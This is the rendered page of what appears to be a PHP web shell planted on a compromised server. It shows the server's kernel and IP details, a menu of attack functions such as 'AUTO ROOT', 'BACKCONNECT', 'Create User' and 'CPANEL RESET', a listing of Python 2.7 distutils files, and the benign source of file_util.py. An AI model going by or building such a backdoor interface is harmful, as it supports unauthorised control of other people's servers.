Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.224.63.123
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
distutils /
[ HOME SHELL ]
Name
Size
Permission
Action
command
[ DIR ]
drwxr-xr-x
README
295
B
-rw-r--r--
__init__.py
337
B
-rw-r--r--
__init__.pyc
385
B
-rw-r--r--
__init__.pyo
385
B
-rw-r--r--
archive_util.py
7.64
KB
-rw-r--r--
archive_util.pyc
7.28
KB
-rw-r--r--
archive_util.pyo
7.28
KB
-rw-r--r--
bcppcompiler.py
14.59
KB
-rw-r--r--
bcppcompiler.pyc
7.7
KB
-rw-r--r--
bcppcompiler.pyo
7.7
KB
-rw-r--r--
ccompiler.py
45.54
KB
-rw-r--r--
ccompiler.pyc
35.96
KB
-rw-r--r--
ccompiler.pyo
35.82
KB
-rw-r--r--
cmd.py
18.82
KB
-rw-r--r--
cmd.pyc
16.41
KB
-rw-r--r--
cmd.pyo
16.41
KB
-rw-r--r--
config.py
4.03
KB
-rw-r--r--
config.pyc
3.49
KB
-rw-r--r--
config.pyo
3.49
KB
-rw-r--r--
core.py
8.88
KB
-rw-r--r--
core.pyc
7.5
KB
-rw-r--r--
core.pyo
7.5
KB
-rw-r--r--
cygwinccompiler.py
16.87
KB
-rw-r--r--
cygwinccompiler.pyc
9.19
KB
-rw-r--r--
cygwinccompiler.pyo
9.19
KB
-rw-r--r--
debug.py
162
B
-rw-r--r--
debug.pyc
254
B
-rw-r--r--
debug.pyo
254
B
-rw-r--r--
dep_util.py
3.43
KB
-rw-r--r--
dep_util.pyc
3.11
KB
-rw-r--r--
dep_util.pyo
3.11
KB
-rw-r--r--
dir_util.py
7.78
KB
-rw-r--r--
dir_util.pyc
6.72
KB
-rw-r--r--
dir_util.pyo
6.72
KB
-rw-r--r--
dist.py
48.88
KB
-rw-r--r--
dist.pyc
38.64
KB
-rw-r--r--
dist.pyo
38.64
KB
-rw-r--r--
emxccompiler.py
11.65
KB
-rw-r--r--
emxccompiler.pyc
7.29
KB
-rw-r--r--
emxccompiler.pyo
7.29
KB
-rw-r--r--
errors.py
3.41
KB
-rw-r--r--
errors.pyc
6.14
KB
-rw-r--r--
errors.pyo
6.14
KB
-rw-r--r--
extension.py
10.65
KB
-rw-r--r--
extension.pyc
7.24
KB
-rw-r--r--
extension.pyo
7.02
KB
-rw-r--r--
fancy_getopt.py
17.53
KB
-rw-r--r--
fancy_getopt.pyc
11.68
KB
-rw-r--r--
fancy_getopt.pyo
11.5
KB
-rw-r--r--
file_util.py
7.61
KB
-rw-r--r--
file_util.pyc
6.47
KB
-rw-r--r--
file_util.pyo
6.47
KB
-rw-r--r--
filelist.py
12.39
KB
-rw-r--r--
filelist.pyc
10.51
KB
-rw-r--r--
filelist.pyo
10.51
KB
-rw-r--r--
log.py
1.65
KB
-rw-r--r--
log.pyc
2.72
KB
-rw-r--r--
log.pyo
2.72
KB
-rw-r--r--
msvc9compiler.py
30.29
KB
-rw-r--r--
msvc9compiler.pyc
21.04
KB
-rw-r--r--
msvc9compiler.pyo
20.96
KB
-rw-r--r--
msvccompiler.py
23.08
KB
-rw-r--r--
msvccompiler.pyc
17.11
KB
-rw-r--r--
msvccompiler.pyo
17.11
KB
-rw-r--r--
spawn.py
7.61
KB
-rw-r--r--
spawn.pyc
6.02
KB
-rw-r--r--
spawn.pyo
6.02
KB
-rw-r--r--
sysconfig.py
16.52
KB
-rw-r--r--
sysconfig.py.debug-build
16.42
KB
-rw-r--r--
sysconfig.pyc
12.96
KB
-rw-r--r--
sysconfig.pyo
12.96
KB
-rw-r--r--
text_file.py
12.12
KB
-rw-r--r--
text_file.pyc
9.03
KB
-rw-r--r--
text_file.pyo
9.03
KB
-rw-r--r--
unixccompiler.py
12.56
KB
-rw-r--r--
unixccompiler.py.distutils-rpa...
12.03
KB
-rw-r--r--
unixccompiler.pyc
7.76
KB
-rw-r--r--
unixccompiler.pyo
7.76
KB
-rw-r--r--
util.py
18.28
KB
-rw-r--r--
util.pyc
14.58
KB
-rw-r--r--
util.pyo
14.58
KB
-rw-r--r--
version.py
11.17
KB
-rw-r--r--
version.pyc
7.04
KB
-rw-r--r--
version.pyo
7.04
KB
-rw-r--r--
versionpredicate.py
4.98
KB
-rw-r--r--
versionpredicate.pyc
5.41
KB
-rw-r--r--
versionpredicate.pyo
5.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file_util.py
"""distutils.file_util Utility functions for operating on single files. """ __revision__ = "$Id$" import os from distutils.errors import DistutilsFileError from distutils import log # for generating verbose output in 'copy_file()' _copy_action = {None: 'copying', 'hard': 'hard linking', 'sym': 'symbolically linking'} def _copy_file_contents(src, dst, buffer_size=16*1024): """Copy the file 'src' to 'dst'. Both must be filenames. Any error opening either file, reading from 'src', or writing to 'dst', raises DistutilsFileError. Data is read/written in chunks of 'buffer_size' bytes (default 16k). No attempt is made to handle anything apart from regular files. """ # Stolen from shutil module in the standard library, but with # custom error-handling added. fsrc = None fdst = None try: try: fsrc = open(src, 'rb') except os.error, (errno, errstr): raise DistutilsFileError("could not open '%s': %s" % (src, errstr)) if os.path.exists(dst): try: os.unlink(dst) except os.error, (errno, errstr): raise DistutilsFileError( "could not delete '%s': %s" % (dst, errstr)) try: fdst = open(dst, 'wb') except os.error, (errno, errstr): raise DistutilsFileError( "could not create '%s': %s" % (dst, errstr)) while 1: try: buf = fsrc.read(buffer_size) except os.error, (errno, errstr): raise DistutilsFileError( "could not read from '%s': %s" % (src, errstr)) if not buf: break try: fdst.write(buf) except os.error, (errno, errstr): raise DistutilsFileError( "could not write to '%s': %s" % (dst, errstr)) finally: if fdst: fdst.close() if fsrc: fsrc.close() def copy_file(src, dst, preserve_mode=1, preserve_times=1, update=0, link=None, verbose=1, dry_run=0): """Copy a file 'src' to 'dst'. If 'dst' is a directory, then 'src' is copied there with the same name; otherwise, it must be a filename. (If the file exists, it will be ruthlessly clobbered.) If 'preserve_mode' is true (the default), the file's mode (type and permission bits, or whatever is analogous on the current platform) is copied. If 'preserve_times' is true (the default), the last-modified and last-access times are copied as well. If 'update' is true, 'src' will only be copied if 'dst' does not exist, or if 'dst' does exist but is older than 'src'. 'link' allows you to make hard links (os.link) or symbolic links (os.symlink) instead of copying: set it to "hard" or "sym"; if it is None (the default), files are copied. Don't set 'link' on systems that don't support it: 'copy_file()' doesn't check if hard or symbolic linking is available. Under Mac OS, uses the native file copy function in macostools; on other systems, uses '_copy_file_contents()' to copy file contents. Return a tuple (dest_name, copied): 'dest_name' is the actual name of the output file, and 'copied' is true if the file was copied (or would have been copied, if 'dry_run' true). """ # XXX if the destination file already exists, we clobber it if # copying, but blow up if linking. Hmmm. And I don't know what # macostools.copyfile() does. Should definitely be consistent, and # should probably blow up if destination exists and we would be # changing it (ie. it's not already a hard/soft link to src OR # (not update) and (src newer than dst). from distutils.dep_util import newer from stat import ST_ATIME, ST_MTIME, ST_MODE, S_IMODE if not os.path.isfile(src): raise DistutilsFileError( "can't copy '%s': doesn't exist or not a regular file" % src) if os.path.isdir(dst): dir = dst dst = os.path.join(dst, os.path.basename(src)) else: dir = os.path.dirname(dst) if update and not newer(src, dst): if verbose >= 1: log.debug("not copying %s (output up-to-date)", src) return dst, 0 try: action = _copy_action[link] except KeyError: raise ValueError("invalid value '%s' for 'link' argument" % link) if verbose >= 1: if os.path.basename(dst) == os.path.basename(src): log.info("%s %s -> %s", action, src, dir) else: log.info("%s %s -> %s", action, src, dst) if dry_run: return (dst, 1) # If linking (hard or symbolic), use the appropriate system call # (Unix only, of course, but that's the caller's responsibility) if link == 'hard': if not (os.path.exists(dst) and os.path.samefile(src, dst)): os.link(src, dst) elif link == 'sym': if not (os.path.exists(dst) and os.path.samefile(src, dst)): os.symlink(src, dst) # Otherwise (non-Mac, not linking), copy the file contents and # (optionally) copy the times and mode. else: _copy_file_contents(src, dst) if preserve_mode or preserve_times: st = os.stat(src) # According to David Ascher <da@ski.org>, utime() should be done # before chmod() (at least under NT). if preserve_times: os.utime(dst, (st[ST_ATIME], st[ST_MTIME])) if preserve_mode: os.chmod(dst, S_IMODE(st[ST_MODE])) return (dst, 1) # XXX I suspect this is Unix-specific -- need porting help! def move_file (src, dst, verbose=1, dry_run=0): """Move a file 'src' to 'dst'. If 'dst' is a directory, the file will be moved into it with the same name; otherwise, 'src' is just renamed to 'dst'. Return the new full name of the file. Handles cross-device moves on Unix using 'copy_file()'. What about other systems??? """ from os.path import exists, isfile, isdir, basename, dirname import errno if verbose >= 1: log.info("moving %s -> %s", src, dst) if dry_run: return dst if not isfile(src): raise DistutilsFileError("can't move '%s': not a regular file" % src) if isdir(dst): dst = os.path.join(dst, basename(src)) elif exists(dst): raise DistutilsFileError( "can't move '%s': destination '%s' already exists" % (src, dst)) if not isdir(dirname(dst)): raise DistutilsFileError( "can't move '%s': destination '%s' not a valid path" % \ (src, dst)) copy_it = 0 try: os.rename(src, dst) except os.error, (num, msg): if num == errno.EXDEV: copy_it = 1 else: raise DistutilsFileError( "couldn't move '%s' to '%s': %s" % (src, dst, msg)) if copy_it: copy_file(src, dst, verbose=verbose) try: os.unlink(src) except os.error, (num, msg): try: os.unlink(dst) except os.error: pass raise DistutilsFileError( ("couldn't move '%s' to '%s' by copy/delete: " + "delete '%s' failed: %s") % (src, dst, src, msg)) return dst def write_file (filename, contents): """Create a file with the specified name and write 'contents' (a sequence of strings without line terminators) to it. """ f = open(filename, "w") try: for line in contents: f.write(line + "\n") finally: f.close()
Close